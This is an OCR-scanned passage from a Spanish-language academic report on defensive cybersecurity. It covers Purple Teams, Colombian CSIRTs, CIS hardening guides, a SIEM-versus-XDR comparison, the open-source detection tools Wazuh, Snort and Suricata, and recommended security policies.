e Purple Team: Consiste en un grupo de trabajo conformado por profesionales
de seguridad informatica los cuales se dividen tareas de Red Team y Blue
Team entre ellos manteniendo una comunicacion cercana que les permite
realizar procesos de mejora de seguridad mediante aprendizaje y
retroalimentacion compartida, como se menciona anteriormente son una
buena alternativa para empresas pequefias con un presupuesto econémico
limitado®°.

Por otro lado, existen los CSIRT (Equipos de respuesta a incidentes informéaticos)
los cuales se encuentran totalmente especializados en investigar y resolver atagues
en tiempo real que puedan detectar, investigar y resolver un ataque. En este
documento cabe destacar la mencion de dos CSIRT existentes en Colombia, por un
lado el del Gobierno de la Republica el cual puede accederse usando la direccién
https://gobiernodigital.mintic.gov.co/seguridadyprivacidad/portal/Estrategias/CSIRT
-Gobierno/ y el CSIRT de La Universidad Nacional Abierta y a Distancia UNAD,
considerado un CSIRT Académico al cual se puede acceder desde el siguiente link
https://csirt.unad.edu.co

Se puede concluir que los equipos anteriormente mencionados cumplen con una
cosa en comuny es la investigacion continua ya que sin ella no es posible que estén
actualizados y por ende su nivel de efectividad bajara.

15 CENTER FOR INTERNET SECURITY Y EQUIPOS BLUE TEAM

El Center For Internet Security (CIS) tiene sus inicios en agosto del afio 2000 con el
nombre CIS Incorporate, durante una reunidn en la que participaron entes
gubernamentales y empresariales los cuales idearon crear una organizacion sin

58 NIST. Red Team. NIST [www.csrc.nist.gov]. (2023). [Consultado el 6, septiembre, 2023]. Disponible en: <
https://csrc.nist.gov/glossary/term/red_team>

59 KROLL BUSINESS. What is Purple taeming and how can it strengthen your cyber security. REDSCAN
[www.redscan.com]. (2023). [Consultado el 8, septiembre, 2023]. Disponible en:
<https://www.redscan.com/news/purple-teaming-can-strengthen-cyber-security/>
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animo de lucro que se dedicara a la prevencion y mitigacion de ataques
cibernéticos. Dando sus inicios de esta manera en el afio de 2002 lanzaron el primer
consenso de seguridad orientado a Windows 2000.

De esta manera y con alianzas estratégicas realizadas con grandes empresas del
sector de la tecnologia se han convertido en uno de los mejores aliados para la
mejora de la seguridad brindando informacion actualizada y constante que le
permite a los equipos de Blue Team informarse y proteger los sistemas.

“Cabe mencionar que, aunque se encuentra orientada a Blue Team esta
informacion también puede llegar a ser utilizada por equipos Red Team en
busqueda de vulnerabilidades no parcheadas”

¢ COMO FUNCIONA?

El CIS funciona mediante la interaccion de profesionales encargados de evaluar
sistemas de seguridad constantemente para desarrollar guias de “Hardenizacién”
las cuales posteriormente son publicadas y puestas a disposicion de publico en
general.

A continuacion, se proporciona el link de un video explicativo donde se indica el
paso a paso para realizar la descarga de estas guias.

https://youtu.be/HnVnat-60b8

16 SIEM VS XDR

Ambos sistemas se encuentran orientados a la ciberseguridad, pero para compararlos es
necesario entender cada uno de manera individual.

SIEM: Recolecta y gestiona informacion referente a eventos de seguridad dentro de
los equipos y la red para su posterior analisis®°.

XDR: Se encarga de detectar, informar y dar respuesta a eventos de seguridad que
puedan amenazar el sistema o red en tiempo real®.

Una vez comprendido ambos sistemas, es posible observar en la tabla 9 una
comparativa entre ambos sistemas.

60 IBM. What is SIEM. IBM [www.ibm.com]. (2023). [Consultado el: 9, septiembre, 2023]. Disponible en
internet: <https://www.ibm.com/topics/siem >

61 PALOALTO. What is XDR. Palo Alto Software [www.paloaltonetworks.com]. (2023).[Consultado el 10,
septiembre, 2023]. Disponible en: <https://www.paloaltonetworks.com/cyberpedia/what-is-xdr >
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Tabla 9 Comparativa entre SIEM y XDR

SIEM

XDR

Forma de actuar reactiva

Forma de actuar proactiva

Detecta amenazas gracias a reglas y
comportamiento

Trabaja de Ila mano de reglas
establecidas e inteligencia artificial
analizando compartimiento

Produce datos con  diferentes
herramientas y en algunos casos con
diferentes lenguajes

Unificacion de reportes y un unico
lenguaje

Tiempo de identificacion de una brecha
de seguridad compleja puede ser de
hasta 200 dias®?.

Deteccién de ataques complejos en
cuestion de horas o minutos gracias a
la inteligencia artificial.

Unifica todo en un Unico centro de
control y monitoreo.

En algunos casos requiere de
diferentes modulos.
Permite la creacion de reportes e

informes de cumplimiento.

No permite la creacion de reportes e
informes de cumplimiento.

Fuente: Elaboracion propia

A lo largo del tiempo estas diferencias mencionadas anteriormente han dado como
respuesta el nacimiento de sistemas unificados en los que se combinan SIEM y
XDR para lo cual a continuacion se mencionaran 3 de estas herramientas con
licencia GPL (General Public License)

17 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS

Las herramientas de deteccion de ataques informaticos han tenido un gran auge los
ultimos afos ya que a diferencia de un antivirus convencional estas permiten tener
un control y monitoreo sobre mas actividades de las que un antivirus convencional
puede cubrir. A continuacion, se daran a conocer 3 que funcionan bajo licencia GPL
total o parcialmente.

17.1 SOFTWARE WAZUH

Dentro de este documento es la plataforma mas completa dedicada a la deteccién
de ataques informaticos ya que cuenta con una integracion de deteccion de
anomalias, analisis de registros y modulos con capacidad de dar respuesta a
incidentes todo esto en tiempo real®® a continuacion se enumeran mas
especificamente cada una de sus cualidades.

62 STELLAR CYBER. SIEM, XDR, and the evolution of Cybersecurity Infraestructure. STELLAR CYBER
[www.stellarcyber.ai].(07, octubre, 2021). [Consultado el 10, septiembre, 2023]. Disponible en:
<https:///siem-xdr-and-the-evolution-of-cybersecurity-infrastructure/>

63 WAZUH INC. One unified platform for complete protection. WAZUH [www.wazuh.com]. (2023). [Consultado
el 11, septiembre, 2023]. Disponible en internet: <https://wazuh.com/platform/overview/>
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e Andlisis de seguridad: Recolecta, indexa y analiza datos de la organizacion
en busqueda de anomalias que puedan llegar a representar un ciberataque.

e Deteccion de intrusos: Realiza un monitoreo gracias a la conexion directa
con sus agentes en busqueda de malware, rootkits y anomalias de la red
incluso en archivos ocultos o sistemas de escucha de red.

e Andlisis de datos de registro: Mediante el andlisis del registro continuo puede
ayudar a encontrar actividades anOmalas, violaciones de politicas de
seguridad entre otros elementos relacionados.

e Monitoreo de la integridad de los archivos: El sistema de monitoreo de wazuh
permite identificar cambios realizados a archivos realizados para cambiar
propiedades, permisos y atributos, esto puede ayudar a identificar el inicio de
una posible infiltracion.

e Deteccion de vulnerabilidades: El agente instalado en cada equipo envia
continuamente informacion hacia el servidor de Wazuh, este realiza una
correlacion directa con bases de datos CVE para identificar asi posibles
nuevas vulnerabilidades.

e Evaluacién continua: Mediante escaneos periddicos se encarga de confirmar
gue reglas y politicas no sean modificadas alertando en caso de que estas
se presenten alteradas lo cual es una vulnerabilidad.

e Respuesta ante incidentes: Mediante procesos preestablecidos realiza
bloqueos a actividades sospechosas e incluso puede remotamente ejecutar
IOCs (ldentificacion de indicadores de compromiso)

e Cumplimiento regulatorio: Gracias a los altos niveles de eficiencia Wazuh
llega a ser utilizado incluso por entidades financieras para verificar la
integridad de sus procesos de pago electronico.

e Integracion con la nube: Permite su integracion con servicios como WAS,
Azure o0 Google Cloud permitiéndole expandir su integracion a casi todos los
sistemas disponibles.

Requerimientos ideales de instalacion:

e Sistema operativo Linux (Red Hat, CentOS, Ubuntu)
e Memoria RAM 4GB
e Nucleos de proceso 8
e Disco Duro 240 GB
SOFTWARE SNORT

Es un software IPS (Sistema de prevencion de intrusos) basado en reglas que
ayudan a identificar actividades sospechosas en la red, estas reglas buscan
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paguetes para luego compararlos con sus bibliotecas internas y poder generar
alertas.

Este software cuenta con una version paga la cual proporciona acceso continuo y
actualizado a nuevas reglas creadas por la compaiiia Cisco Talos, y una version
GPL la cual obtiene reglas actualizadas por la comunidad y ocasionales reglas
enviadas por Ciscos Talos aproximadamente 2 meses después de ser lanzadas.

Resumiendo, el funcionamiento de Snort este tendra efectividad dependiendo
directamente de la amenaza encontrada y la periodicidad con la que sus bases de
datos se actualicen.

Requerimientos ideales de instalacion:

e Sistema operativo Linux (Red hat, CentOS, Ubuntu)
e Memoria RAM 4GB

e Nducleos de proceso 4

e Disco Duro 1TB

Software Suricata

Ilgualmente es un software orientado a la deteccion de intrusos de licencia GPL, se
basa en detectar y generar alertas cuando encuentra comportamientos de red
inusuales basandose de reglas similares a las utilizadas por el software Snort, Una
de sus grandes ventajas que cabe mencionar es que instalado en el hardware ideal
puede soportar el analisis de trafico de altas velocidades en tiempo real lo cual es
importante en empresas con alto flujo de datos.

Uno de sus puntos en contra es la dificultad en algunos casos para realizar sus
procesos de configuracion e instalacion haciendo que sea necesario tener un amplio
conocimiento en sistemas de deteccion de intrusos y programacion

Requerimientos ideales de instalacion:

e Sistema operativo Linux (Red hat, CentOS, Ubuntu)
e Memoria RAM 8GB

e Nducleos de proceso 4

e Disco Duro 1TB
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18 LINK SUSTENTACION
En el siguiente link se socializa una sustentacién en video del proceso llevado a
cabo durante las actividades realizadas en el seminario de investigacion RedTeam
& BlueTeam

https://youtu.be/MdOV8JOHYIA
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19 CONCLUSIONES

Las vulnerabilidades en los sistemas operativos siempre han estado y estaran
presentes ya que lo que en algunos casos puede ser un aplicativo para facilitar las
funciones diarias a un usuario final o en otro escenario puede ser un puerto o
protocolo que un tercero usara con fines maliciosos sobre el equipo y el usuario
final.

Fue demostrado que para elevar los niveles de seguridad no siempre va a ser
necesario implementar software de pago, existen diversas herramientas disponibles
en internet con licencia GPN las cuales aplicadas de la manera correcta permitiran
elevar los niveles de seguridad sin requerir una gran inversién econémica lo cual se
debe socializar con la alta gerencia de la empresa para que esta se vea implicada
y comprenda que en algunos casos la ejecucion de proyectos que mejoren la
seguridad requeriran un recurso economico invertido en conocimiento y no
solamente en software.

Finalmente, no se debe tomar este documento como una guia Unica y estandarizada
para realizar un proceso de analisis, investigacion y mejoramiento de la seguridad
de un equipo o red de trabajo ya que no todos los escenarios son iguales y ciertas
limitantes o bloqueos implementados durante los laboratorios presentados en este
documento podrian afectar el correcto funcionamiento del equipo donde sea
implementado.
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20 RECOMENDACIONES

Es necesario comprender que un buen profesional en ciberseguridad debe estar
constantemente actualizado en conocimiento, asi como un sistema operativo ofrece
la posibilidad de descargar actualizaciones el conocimiento del profesional también
debe hacerlo ya que dia a dia todo es cambiante y las cualidades de proteccion que
en un pasado eran ideales u optimas hoy en dia ya puede ser obsoletas.

Pese a no estar incluidos dentro del documento actual los planes de contingencia
son elementos que debe ir de la mano ya que ningun sistema va a ser seguro al
100% y siempre existiran posibilidades de sufrir un ataque que haga caer al sistema
completo, por lo tanto, los planes de contingencia para recuperacion de archivos,
de aplicativos etc. forman parte fundamental y necesaria para garantizar la
continuidad de una empresa y es necesatrio incluirlos. Finalmente, y a continuacién
se mencionan algunas politicas de seguridad que puede ayudar a mejorar los
niveles de seguridad de las empresas.

Politicas de seguridad

e Uso estricto de contrasefias complejas con solicitud de cambio de manera
periodicas.

e Evitar la creacion de usuarios con privilegios de administrador a usuarios de
bajo nivel jerarquico.

e Monitoreo constante de las actividades de estos usuarios mediante el uso de
sistemas como WAZUH.

e Creacion de redes inaldmbricas para invitados y teléfonos de los empleados
en subredes aisladas de la LAN local de trabajo.

e Crear planes de promocion y prevencion orientados a la higiene informatica
en la cual todo el personal de la empresa se vea implicado para asi proteger
el eslabon mas débil que es el usuario final.

e Creacion de auto evaluaciones y auto auditorias periodicas que permitan
establecer el nivel de seguridad implementado y sus alcances implementado
mejoras en cada una de estas actividades.
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